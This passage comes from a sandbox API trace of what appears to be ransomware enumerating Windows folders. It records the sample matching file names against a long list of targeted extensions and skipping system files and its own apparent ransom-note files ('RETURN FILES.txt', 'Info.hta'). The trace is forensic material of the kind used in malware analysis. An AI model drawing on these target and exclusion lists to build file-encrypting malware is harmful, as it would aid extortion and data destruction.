	[0088.023] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dib") returned 4
	[0088.023] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dic") returned 4
	[0088.023] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0088.023] lstrlenW (lpString=".dif") returned 4
	[0088.024] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0088.024] lstrlenW (lpString=".divx") returned 5
	[0088.024] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0088.024] lstrlenW (lpString=".djvu") returned 5
	[0088.024] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0088.024] lstrlenW (lpString=".dng") returned 4
	[0088.024] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0088.024] lstrlenW (lpString=".doc") returned 4
	[0088.024] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0088.024] lstrlenW (lpString=".docm") returned 5
	[0088.024] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0088.024] lstrlenW (lpString=".docx") returned 5
	[0088.024] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0088.024] lstrlenW (lpString=".dot") returned 4
	[0088.024] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0088.024] lstrlenW (lpString=".dotm") returned 5
	[0088.024] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0088.024] lstrlenW (lpString=".dotx") returned 5
	[0088.024] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0088.025] lstrlenW (lpString=".dpx") returned 4
	[0088.025] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dqy") returned 4
	[0088.025] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dsn") returned 4
	[0088.025] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dt") returned 3
	[0088.025] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0088.025] lstrlenW (lpString=".dtd") returned 4
	[0088.025] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dwg") returned 4
	[0088.025] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dwt") returned 4
	[0088.025] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".dx") returned 3
	[0088.025] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0088.025] lstrlenW (lpString=".dxf") returned 4
	[0088.025] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0088.025] lstrlenW (lpString=".edml") returned 5
	[0088.025] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0088.026] lstrlenW (lpString=".efd") returned 4
	[0088.026] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".elf") returned 4
	[0088.026] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".emf") returned 4
	[0088.026] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".emz") returned 4
	[0088.026] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".epf") returned 4
	[0088.026] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".eps") returned 4
	[0088.026] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".epsf") returned 5
	[0088.026] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0088.026] lstrlenW (lpString=".epsp") returned 5
	[0088.026] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0088.026] lstrlenW (lpString=".erf") returned 4
	[0088.026] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0088.026] lstrlenW (lpString=".exr") returned 4
	[0088.026] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".f4v") returned 4
	[0088.027] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".fido") returned 5
	[0088.027] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0088.027] lstrlenW (lpString=".flm") returned 4
	[0088.027] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".flv") returned 4
	[0088.027] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".frm") returned 4
	[0088.027] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".fxg") returned 4
	[0088.027] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".geo") returned 4
	[0088.027] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".gif") returned 4
	[0088.027] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".grs") returned 4
	[0088.027] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0088.027] lstrlenW (lpString=".gz") returned 3
	[0088.027] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0088.028] lstrlenW (lpString=".h") returned 2
	[0088.028] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0088.028] lstrlenW (lpString=".hdr") returned 4
	[0088.028] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".hpp") returned 4
	[0088.028] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".hta") returned 4
	[0088.028] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".htc") returned 4
	[0088.028] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".htm") returned 4
	[0088.028] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".html") returned 5
	[0088.028] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0088.028] lstrlenW (lpString=".icb") returned 4
	[0088.028] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".ics") returned 4
	[0088.028] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".iff") returned 4
	[0088.028] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0088.028] lstrlenW (lpString=".inc") returned 4
	[0088.029] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0088.029] lstrlenW (lpString=".indd") returned 5
	[0088.029] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0088.029] lstrlenW (lpString=".ini") returned 4
	[0088.029] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0088.029] lstrlenW (lpString="desktop.ini") returned 11
	[0088.029] lstrlenW (lpString=".4k") returned 3
	[0088.029] lstrcmpiW (lpString1=".4k", lpString2="ini") returned -1
	[0088.030] lstrlenW (lpString="desktop.ini") returned 11
	[0088.030] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0088.030] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0088.030] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0088.030] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
	[0088.030] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0088.030] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1
	[0088.031] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0088.032] lstrcmpiW (lpString1="p.exe", lpString2="desktop.ini") returned 1
	[0088.032] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74
	[0088.032] FindNextFileW (in: hFindFile=0x35d0348, lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0088.032] FindClose (in: hFindFile=0x35d0348 | out: hFindFile=0x35d0348) returned 1
	[0088.032] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35f1e28 | out: hHeap=0x4a0000) returned 1
	[0088.032] FindNextFileW (in: hFindFile=0x35d0308, lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0088.032] FindClose (in: hFindFile=0x35d0308 | out: hFindFile=0x35d0308) returned 1
	[0088.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35e0e18 | out: hHeap=0x4a0000) returned 1
	[0088.033] FindNextFileW (in: hFindFile=0x35d02c8, lpFindFileData=0x2ecfd00 | out: lpFindFileData=0x2ecfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0088.033] lstrlenW (lpString="C:\\Boot") returned 7
	[0088.033] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1
	[0088.033] lstrlenW (lpString="Boot") returned 4
	[0088.033] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1
	[0088.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x35e0e18
	[0088.033] lstrlenW (lpString="C:\\Boot") returned 7
	[0088.033] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x35d0308
	[0088.033] FindNextFileW (in: hFindFile=0x35d0308, lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.033] FindNextFileW (in: hFindFile=0x35d0308, lpFindFileData=0x2ecfa84 | out: lpFindFileData=0x2ecfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0088.034] lstrlenW (lpString="BCD") returned 3
	[0088.034] lstrlenW (lpString=".1cd") returned 4
	[0088.034] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".3ds") returned 4
	[0088.034] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".3fr") returned 4
	[0088.034] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".3g2") returned 4
	[0088.034] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".3gp") returned 4
	[0088.034] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".7z") returned 3
	[0088.034] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0088.034] lstrlenW (lpString=".accda") returned 6
	[0088.034] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".accdb") returned 6
	[0088.034] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".accdc") returned 6
	[0088.034] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0088.034] lstrlenW (lpString=".accde") returned 6
	[0088.034] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".accdt") returned 6
	[0088.035] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".accdw") returned 6
	[0088.035] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".adb") returned 4
	[0088.035] lstrcmpiW (lpString1=".adb", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".adp") returned 4
	[0088.035] lstrcmpiW (lpString1=".adp", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".ai") returned 3
	[0088.035] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0088.035] lstrlenW (lpString=".ai3") returned 4
	[0088.035] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".ai4") returned 4
	[0088.035] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".ai5") returned 4
	[0088.035] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".ai6") returned 4
	[0088.035] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1
	[0088.035] lstrlenW (lpString=".ai7") returned 4
	[0088.036] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".ai8") returned 4
	[0088.036] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".anim") returned 5
	[0088.036] lstrcmpiW (lpString1=".anim", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".arw") returned 4
	[0088.036] lstrcmpiW (lpString1=".arw", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".as") returned 3
	[0088.036] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0088.036] lstrlenW (lpString=".asa") returned 4
	[0088.036] lstrcmpiW (lpString1=".asa", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".asc") returned 4
	[0088.036] lstrcmpiW (lpString1=".asc", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".ascx") returned 5
	[0088.036] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1
	[0088.036] lstrlenW (lpString=".asm") returned 4
	[0088.037] lstrcmpiW (lpString1=".asm", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".asmx") returned 5
	[0088.037] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".asp") returned 4
	[0088.037] lstrcmpiW (lpString1=".asp", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".aspx") returned 5
	[0088.037] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".asr") returned 4
	[0088.037] lstrcmpiW (lpString1=".asr", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".asx") returned 4
	[0088.037] lstrcmpiW (lpString1=".asx", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".avi") returned 4
	[0088.037] lstrcmpiW (lpString1=".avi", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".avs") returned 4
	[0088.037] lstrcmpiW (lpString1=".avs", lpString2="") returned 1
	[0088.037] lstrlenW (lpString=".backup") returned 7
	[0088.037] lstrcmpiW (lpString1=".backup", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".bak") returned 4
	[0088.038] lstrcmpiW (lpString1=".bak", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".bay") returned 4
	[0088.038] lstrcmpiW (lpString1=".bay", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".bd") returned 3
	[0088.038] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0088.038] lstrlenW (lpString=".bin") returned 4
	[0088.038] lstrcmpiW (lpString1=".bin", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".bmp") returned 4
	[0088.038] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".bz2") returned 4
	[0088.038] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".c") returned 2
	[0088.038] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0088.038] lstrlenW (lpString=".cdr") returned 4
	[0088.038] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1
	[0088.038] lstrlenW (lpString=".cer") returned 4
	[0088.038] lstrcmpiW (lpString1=".cer", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".cf") returned 3
	[0088.039] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0088.039] lstrlenW (lpString=".cfc") returned 4
	[0088.039] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".cfm") returned 4
	[0088.039] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".cfml") returned 5
	[0088.039] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".cfu") returned 4
	[0088.039] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".chm") returned 4
	[0088.039] lstrcmpiW (lpString1=".chm", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".cin") returned 4
	[0088.039] lstrcmpiW (lpString1=".cin", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".class") returned 6
	[0088.039] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0088.039] lstrlenW (lpString=".clx") returned 4
	[0088.039] lstrcmpiW (lpString1=".clx", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".config") returned 7
	[0088.040] lstrcmpiW (lpString1=".config", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".cpp") returned 4
	[0088.040] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".cr2") returned 4
	[0088.040] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".crt") returned 4
	[0088.040] lstrcmpiW (lpString1=".crt", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".crw") returned 4
	[0088.040] lstrcmpiW (lpString1=".crw", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".cs") returned 3
	[0088.040] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0088.040] lstrlenW (lpString=".css") returned 4
	[0088.040] lstrcmpiW (lpString1=".css", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".csv") returned 4
	[0088.040] lstrcmpiW (lpString1=".csv", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".cub") returned 4
	[0088.040] lstrcmpiW (lpString1=".cub", lpString2="") returned 1
	[0088.040] lstrlenW (lpString=".dae") returned 4
	[0088.041] lstrcmpiW (lpString1=".dae", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dat") returned 4
	[0088.041] lstrcmpiW (lpString1=".dat", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".db") returned 3
	[0088.041] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0088.041] lstrlenW (lpString=".dbf") returned 4
	[0088.041] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dbx") returned 4
	[0088.041] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dc3") returned 4
	[0088.041] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dcm") returned 4
	[0088.041] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dcr") returned 4
	[0088.041] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".der") returned 4
	[0088.041] lstrcmpiW (lpString1=".der", lpString2="") returned 1
	[0088.041] lstrlenW (lpString=".dib") returned 4
	[0088.041] lstrcmpiW (lpString1=".dib", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".dic") returned 4
	[0088.042] lstrcmpiW (lpString1=".dic", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".dif") returned 4
	[0088.042] lstrcmpiW (lpString1=".dif", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".divx") returned 5
	[0088.042] lstrcmpiW (lpString1=".divx", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".djvu") returned 5
	[0088.042] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".dng") returned 4
	[0088.042] lstrcmpiW (lpString1=".dng", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".doc") returned 4
	[0088.042] lstrcmpiW (lpString1=".doc", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".docm") returned 5
	[0088.042] lstrcmpiW (lpString1=".docm", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".docx") returned 5
	[0088.042] lstrcmpiW (lpString1=".docx", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".dot") returned 4
	[0088.042] lstrcmpiW (lpString1=".dot", lpString2="") returned 1
	[0088.042] lstrlenW (lpString=".dotm") returned 5
	[0088.043] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dotx") returned 5
	[0088.043] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dpx") returned 4
	[0088.043] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dqy") returned 4
	[0088.043] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dsn") returned 4
	[0088.043] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dt") returned 3
	[0088.043] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0088.043] lstrlenW (lpString=".dtd") returned 4
	[0088.043] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dwg") returned 4
	[0088.043] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dwt") returned 4
	[0088.043] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1
	[0088.043] lstrlenW (lpString=".dx") returned 3
	[0088.043] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0088.043] lstrlenW (lpString=".dxf") returned 4
	[0088.044] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".edml") returned 5
	[0088.044] lstrcmpiW (lpString1=".edml", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".efd") returned 4
	[0088.044] lstrcmpiW (lpString1=".efd", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".elf") returned 4
	[0088.044] lstrcmpiW (lpString1=".elf", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".emf") returned 4
	[0088.044] lstrcmpiW (lpString1=".emf", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".emz") returned 4
	[0088.044] lstrcmpiW (lpString1=".emz", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".epf") returned 4
	[0088.044] lstrcmpiW (lpString1=".epf", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".eps") returned 4
	[0088.044] lstrcmpiW (lpString1=".eps", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".epsf") returned 5
	[0088.044] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1
	[0088.044] lstrlenW (lpString=".epsp") returned 5
	[0088.044] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1
	[0088.045] lstrlenW (lpString=".erf") returned 4
	[0088.045] lstrcmpiW (lpString1=".erf", lpString2="") returned 1
	[0088.045] lstrlenW (lpString=".exr") returned 4
	[0088.045] lstrcmpiW (lpString1=".exr", lpString2="") returned 1
	[0088.045] lstrlenW (lpString=".f4v") returned 4
	[0088.045] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1
	[0088.045] lstrlenW (lpString=".fido") returned 5
	[0088.045] lstrcmpiW (lpString1=".fido", lpString2="") returned 1
	[0088.045] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x35f0e20
	[0088.520] FindNextFileW (in: hFindFile=0x35d0348, lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.520] FindNextFileW (in: hFindFile=0x35d0348, lpFindFileData=0x2ecf808 | out: lpFindFileData=0x2ecf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0089.645] FindNextFileW (in: hFindFile=0x35d0388, lpFindFileData=0x2ecf58c | out: lpFindFileData=0x2ecf58c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0089.645] FindNextFileW (in: hFindFile=0x35d0388, lpFindFileData=0x2ecf58c | out: lpFindFileData=0x2ecf58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
